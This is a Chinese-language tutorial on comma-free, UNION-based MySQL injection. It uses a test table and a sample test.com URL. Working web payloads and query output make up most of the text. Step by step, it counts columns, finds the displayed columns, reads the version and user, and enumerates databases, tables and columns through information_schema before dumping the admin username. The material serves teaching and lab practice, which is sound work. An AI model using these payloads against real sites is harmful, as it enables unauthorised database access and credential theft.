0x00 概要
在页面有显示位的情况下使用
0x01 记忆方式
mysql> select * from test where id=-1 union select * from ((select 1)A join(select 2)B join(select 3)C join(select 4)D);+------+------+------+---------+| id | test | map | content |+------+------+------+---------+| 1 | 2 | 3 | 4 |+------+------+------+---------+1 row in set (0.00 sec)
0x02 测试表数据
# 测试表数据: test;mysql> select * from test;+------+------+------+---------+| id | test | map | content |+------+------+------+---------+| 1 | 1 | 1 | 1 || 2 | 2 | 2 | 2 || 3 | 3 | 3 | 3 |+------+------+------+---------+3 rows in set (0.00 sec)
# 测试管理表: tdb_admin;mysql> select * from tdb_admin;+----+----------+----------------------------------+| id | username | password |+----+----------+----------------------------------+| 1 | admin | 7fef6171469e80d32c0559f88b377245 |+----+----------+----------------------------------+1 row in set (0.00 sec)
0x03 查看列数
web语句: http://www.test.com/sql.php?id=1 order by 4
数据库语句: select * from test where id = 1 order by 4;
# 列数正确时mysql> select * from test where id = 1 order by 4;+------+------+------+---------+| id | test | map | content |+------+------+------+---------+| 1 | 1 | 1 | 1 |+------+------+------+---------+1 row in set (0.00 sec)
# 列数超出时mysql> select * from test where id = 1 order by 5;ERROR 1054 (42S22): Unknown column '5' in 'order clause'
test 表字段4个所以 order by 4 即可多了会报错,报错就把数量自己减少到不报错即可
0x04 显示列数
web语句: http://www.test.com/sql.php?id=-1 union select * from ((select 1)A join (select 2)B join (select 3)C join (select 4)D)
数据库语句: select from test where id=-1 union select from ((select 1)A join (select 2)B join (select 3)C join (select 4)D);
mysql> select * from test where id=-1 union select * from ((select 1)A join(select 2)B join(select 3)C join(select 4)D);+------+------+------+---------+| id | test | map | content |+------+------+------+---------+| 1 | 2 | 3 | 4 |+------+------+------+---------+1 row in set (0.00 sec)
注: 我的test表一共就四个字段,所以join 4次即可,实战中如果有5个字段,那就join 5次即可
0x05 读取数据库版本/当前连接用户/当前连接的数据库
web语句: http://www.test.com/sql.php?id=-1 union select * from ((select version())A join (select user())B join (select database())C join (select 4)D)
数据库语句: select from test where id=-1 union select from ((select version())A join (select user())B join (select database())C join (select 4)D);
mysql> select * from test where id=-1 union select * from ((select version())A join(select user())B join(select database())C join(select 4)D);+--------+----------------+------+---------+| id | test | map | content |+--------+----------------+------+---------+| 5.5.53 | root@localhost | test | 4 |+--------+----------------+------+---------+1 row in set (0.00 sec)
0x06 爆库名
注意: LIMIT 0 修改会显示其他库名
例如:
修改为0 就是出1库
修改为1 就是出2库
web语句: http://www.test.com/sql.php?id=-1 union select * from ((select schema_name from information_schema.schemata limit 1 offset 0)A join (select 2)B join (select 3)C join (select 4)D)
数据库语句: select from test where id=-1 union select from ((select schema_name from information_schema.schemata limit 1 offset 0)A join (select 2)B join (select 3)C join (select 4)D)
# 一库mysql> select * from test where id=-1 union select * from ((select schema_name from information_schema.schemata limit 1 offset 0)A join(select 2)B join(select 3)C join (select 4)D);+--------------------+------+------+---------+| id | test | map | content |+--------------------+------+------+---------+| information_schema | 2 | 3 | 4 |+--------------------+------+------+---------+1 row in set (0.00 sec)
# 二库mysql> select * from test where id=-1 union select * from ((select schema_name from information_schema.schemata limit 1 offset 1)A join(select 2)B join(select 3)C join (select 4)D);+-------+------+------+---------+| id | test | map | content |+-------+------+------+---------+| 74cms | 2 | 3 | 4 |+-------+------+------+---------+1 row in set (0.00 sec)
0x07 爆表名
注意: table_schema=xxx 修改为其他库会爆出其他库的数据
例如:
table_schema=database() 会获取当前连接的库数据
table_schema=’test’ 会获取test库数据
web语句: http://www.test.com/sql.php?id= -1 union select * from (
(select table_name from information_schema.tables where table_schema=DATABASE() limit 1 offset 0)A join
(select 2)B join
(select 3)C join
(select 4)D
);
数据库语句: select from test where id=-1 union select from (
(select table_name from information_schema.tables where table_schema=DATABASE() limit 1 offset 0)A join
(select 2)B join
(select 3)C join
(select 4)D
);
mysql> select * from test where id=-1 union select * from ((select table_name from information_schema.tables where table_schema=DATABASE() limit 1 offset 0)A join(select 2)B join(select 3)C join(select 4)D);+-----------+------+------+---------+| id | test | map | content |+-----------+------+------+---------+| tdb_admin | 2 | 3 | 4 |+-----------+------+------+---------+1 row in set (0.00 sec)
0x08 暴字段
table_schema = “xx” 要爆的数据库名
table_name = “xx” 要爆的表名
offset 0 表示要爆的位置
例如:
表tdb_admin的字段为 id,usernam,password
offset 0 = id
offset 1 = username
offset 2 = password
web语句: http://www.test.com/sql.php?id= -1 union select * from (
(select column_name from information_schema.columns where table_schema=DATABASE() AND table_name=’tdb_admin’ limit 1 offset 0)A join
(select 2)B join
(select 3)C join
(select 4)D
)
数据库语句: select from test where id=-1 union select from (
(select column_name from information_schema.columns where table_schema=DATABASE() AND table_name=’tdb_admin’ limit 1 offset 0)A join
(select 2)B join
(select 3)C join
(select 4)D
)
# 字段1mysql> select * from test where id=-1 union select * from ((select column_name from information_schema.columns where table_schema=DATABASE() AND table_name='tdb_admin' limit 1 offset 0)A join(select 2)B join(select 3)C join(select 4)D);+------+------+------+---------+| id | test | map | content |+------+------+------+---------+| id | 2 | 3 | 4 |+------+------+------+---------+1 row in set (0.00 sec)
# 字段2mysql> select * from test where id=-1 union select * from ((select column_name from information_schema.columns where table_schema=DATABASE() AND table_name='tdb_admin' limit 1 offset 1)A join(select 2)B join(select 3)C join(select 4)D);+----------+------+------+---------+| id | test | map | content |+----------+------+------+---------+| username | 2 | 3 | 4 |+----------+------+------+---------+1 row in set (0.00 sec)
0x08 爆内容
注意: offset 0 表示要显示那一条数据
offset 0 表示第一条
offset 1 表示第二条
web语句: http://www.test.com/sql.php?id= -1 union select * from (
(select (select username from test.tdb_admin limit 1 offset 0))A join
(select 2)B join
(select 3)C join
(select 4)D
)
数据库语句: select from test where id=-1 union select from (
(select (select username from test.tdb_admin limit 1 offset 0))A join
(select 2)B join
(select 3)C join
(select 4)D
)
mysql> select * from test where id=-1 union select * from ((select (select username from test.tdb_admin limit 1 offset 0))A join(select 2)B join(select 3)C join(select 4)D)+-------+------+------+---------+| id | test | map | content |+-------+------+------+---------+| admin | 2 | 3 | 4 |+-------+------+------+---------+1 row in set (0.00 sec)
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